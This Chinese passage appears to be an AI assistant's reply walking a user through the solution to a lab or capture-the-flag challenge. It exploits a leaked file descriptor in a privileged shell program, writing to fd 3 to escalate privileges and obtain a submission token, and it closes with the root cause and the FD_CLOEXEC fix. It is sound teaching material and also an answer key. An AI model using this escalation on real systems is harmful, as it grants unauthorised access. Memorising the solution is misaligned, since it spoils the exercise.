文件描述符泄露漏洞
太棒了!我非常高兴看到您成功了!
这个解决方案利用了文件描述符泄露(capability leak)漏洞,这正是我们在资料中看到的攻击向量。让我解释一下为什么这种方法有效:
echo "hacker84" >&3使用标准重定向语法直接向文件描述符3写入数据- 而其他方法如
/proc/self/fd/3可能受到额外权限检查的影响 - 文件描述符3已经被程序以读写模式打开,我们直接利用它写入数据,绕过了常规的文件权限检查
完整的解决步骤应该是:
# 运行程序获取非特权shell
/usr/local/bin/priv_shell
# 在非特权shell中写入用户名到文件描述符
echo "hacker84" >&3
# 退出当前shell
exit
# 重新运行程序,现在应该可以获得特权shell
/usr/local/bin/priv_shell
# 在特权shell中运行win程序获取token
/usr/local/bin/win
# 创建提交目录并保存token
mkdir -p ~/submissions/bonus2/
echo "获得的token" > ~/submissions/bonus2/submission.txt
# 提交
submit bonus2
这是一个非常经典的文件描述符泄露漏洞利用案例。程序在执行 execve("/usr/bin/bash", &exe, &env) 时没有关闭之前打开的文件描述符,导致这些描述符被继承到了子进程(bash)中,从而使我们能够访问和修改本来无权访问的文件。
这种漏洞的修复方法是在执行 execve 前关闭不需要的文件描述符,或使用 fcntl 设置 FD_CLOEXEC 标志,确保描述符不会被子进程继承。

浙公网安备 33010602011771号